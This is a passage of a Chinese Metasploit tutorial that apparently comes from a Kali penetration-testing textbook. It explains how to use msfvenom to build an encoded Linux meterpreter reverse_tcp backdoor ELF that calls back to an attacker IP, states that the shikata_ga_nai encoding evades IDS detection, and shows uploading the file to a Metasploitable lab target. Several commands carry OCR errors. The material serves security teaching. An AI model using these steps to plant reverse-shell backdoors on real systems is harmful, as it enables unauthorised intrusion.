MSF6

简介: 目前msfvenom工具已经取代了metasploit-framework旗下的msfpayload(载荷生成器)和msfencoder(编码器)。

Meterpreter演示

本小节将以经典的 Reverse_tcp 反向连接获得 shell 作为案例来演示Meterpreter 的使用, Reverse_tcp 可针对 Windows 平台、 Unix 平台和 Linux 平台, 这里我们攻击的目标为Metasploitable靶机系统,是一个Linux平台。获取shell的整个过程分为以下几个步骤:用工具msfvenom生成后门(木马)程序、将后门程序上传至靶机系统并添加可执行权限、启动MSFConsole并使用exploit/multi/handler模块开始监听、在靶机上运行后门程序、exploit/multi/handler模块获取反向连接shell并运行Meterpreter、用Meterpreter进行后渗透攻击。

(1)生成后门程序文件

目前msfvenom工具已经取代了metasploit-framework旗下的msfpayload(载荷生成器)和msfencoder(编码器)。因此本案例将采用msfvenom生成后门程序,生成后门程序的命令为:“ msfvenom-p linux/ x86/ meterpreter/ reverse_tcpLHOST=192.168.137.137LPORT=9999-a x86-- platform linux-e x86/ shikata_ga_nai-i3-b\ Of-n6- felf>/ home/ shell_zbj. elf ”。

msfvenom工具集载荷生成、编码的功能于一身,可直接生成能够在目标主机上执行的Shellcode(Shellcode其实就是攻击载荷模块Payload,读者可参考5.1.2小节中“MSF模块介绍”部分的内容)。下面对命令中的参数做一下说明。

-p:选择用于生成Shelleode的攻击载荷模块(Payload),因为是对Linux 系统进行 Reverse_TCP反向连接攻击,所以这里使用的模块是 linux/ x86/meterpreter/ reverse_tcp 模块。LHOST和LPORT是该模块的选项,LHOST设置为攻击主机(这里是Kali虚拟机)的IP地址,被攻击的主机(Metasploitable靶机)将会反向连接到该攻击主机,LPORT是攻击主机监听反向连接的端口号,可以任意设置,只要不与现有端口出现冲突即可。

-a:选择平台的架构,这里的平台是指被攻击的目标主机的平台,有三个参数可供选择,分别是x86、x64和x86_64。

--platform:选择目标主机的操作系统类型,可选的参数有:windows、netware、android、java、ruby、linux、cisco、solaris、osx、bsd、openbsd、bsdi、netbsd、freebsd、air、hpux、irix、unix、php、javascript、python、nodejs、firefox、mainframe。

-e:选择生成的Shelloode的编码方式,可用命令“msfvenom-l encoders”查看可供选择的编码方式,如图5-37所示。编码方式与要攻击的目标系统类型或目标应用类型相关,这里选择 x86/ shikata_ga_nai 编码方式,该编码方式的等级是excellent,可以绕过入侵检测系统(IDS)的检测。

-i:设置编码的次数,可增加Shellcode的安全性。

-b:避免使用的字符,一般设置为“坏字符”,例如:不使用“VOf”。

) )) Kali安全渗透测试实践教程

-n:载荷中空指令的个数。

-1:生成的文件格式,这里为elf格式,它是一种用于二进制文件。可执行文件、目标代码、共享库和核心转储格式文件的一种文件格式,可直接执行。

>:生成的后门文件(即Shellcode文件)的存储路径及名称,“>”符号也可用“-o”选项参数代替。

命令的执行结果如图5-38所示:

图5-38 用msfvenom生成的后门程序文件

如图5-38,执行 msfvenom 命令后在/ home/目录下生成了名为“ shell_zhj.elf”的后门Shelleode文件。

(2)将后门程序上传到靶机并添加可执行权限

接下来将 Kali 虚拟机上生成的后门程序文件“ shell_zbj. elf ”上传到Metasploitable靶机,并放置到“/home/test/” 目录下,采用的命令是“sep shell_zbj. elf 192.168.137.129:/ home/ test/”,命令执行结果如图5-39所示:

图5-39 上传后门程序文件到靶机

在上传文件到Metasploitable靶机时,需要靶机的root用户权限,Metaploitable靶机系统默认的用户名和密码都是“msfadmin”,用户并不知道root用户密码是多少,这时可用“sudo passwd root”命令直接设置root用户的密码. 如图5-40所示:

相关文章
|
6月前
|
安全 Unix 网络安全
Metasploit
Metasploit
111 10
|
安全 Shell 网络安全
MSF框架讲解
MSF框架讲解
|
Web App开发 Shell Windows
在msf和powershell中利用hotpotato进行提权
本文讲的是在msf和powershell中利用hotpotato进行提权,通过类似SMB协议的NTLM认证已经被微软修补了,不过HTTP到SMB正在使用这种验证,并且还用于创建高权限服务中。因为流量包中含有NTLM凭据并且正在通过伪代理服务器,因此可以将其捕获并传递到本地SMB侦听器,作为SYSTEM权限执行任何命令。
2513 0
|
安全 Shell 网络安全
MSF3
metasploit攻击载荷模块有三种类型,分别是独立攻击载荷(Singles)传输器载荷(Stager)和传输体载荷(Stage)。
|
安全 网络协议 Unix
MSF8
Samba是一个用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做链接的自由软件。在Samba 3.0系列版本上存在一个用户模拟漏洞,攻击者利用此漏洞可模拟任意用户,执行未授权的操作。
|
网络协议 安全 关系型数据库
MSF7
在 Metasploitable 靶机上运行后门程序“ shell_zbj. elf ”,该程序运行起来后会连接Kali虚拟机
|
Linux 网络安全
MSF4
要使用MSFConsole控制终端进行渗透测试,必须熟练掌握MSFConsole的常用命令,这些常用命令如下:
|
安全 Unix Java
MSF1
Metasploit是一个开源的、用Ruby脚本语言写的渗透测试框架(Metasploit Framework,MSF),该框架集成了很多可用的渗透利用工具,用户可以在这个框架下进行一系列的渗透测试,利用现有的装备(Payload),如Meterpreter等进一步获取对方的Shell。Metasploit功能强大,可以帮助安全人员评估系统安全性,发现系统的安全漏洞,对漏洞的防范措施进行验证,并提供真正的安全风险情报,因此几乎每一个从事渗透测试的人都会接触到它,是渗透测试最常用的工具。
|
安全 网络协议 Unix
MSF2
Armitage工具的界面很简洁,左上角是Metasploit提供的一些进行渗透的模块,右上角显示的是扫描到的目标主机,下面是一个Metasploit控制终端,前面提到过Armitage可以挂载多个Metasploit控制终端,所以这里可以开启多个Metasploit控制终端。事实上使用Armitage跟直接使用Metasploit控制终端的差别不大,区别是在Armitage中可以从图形界面上选择用于渗透的模块,而控制终端需要通过命令显示并选择渗透模块。
|
SQL 网络协议 关系型数据库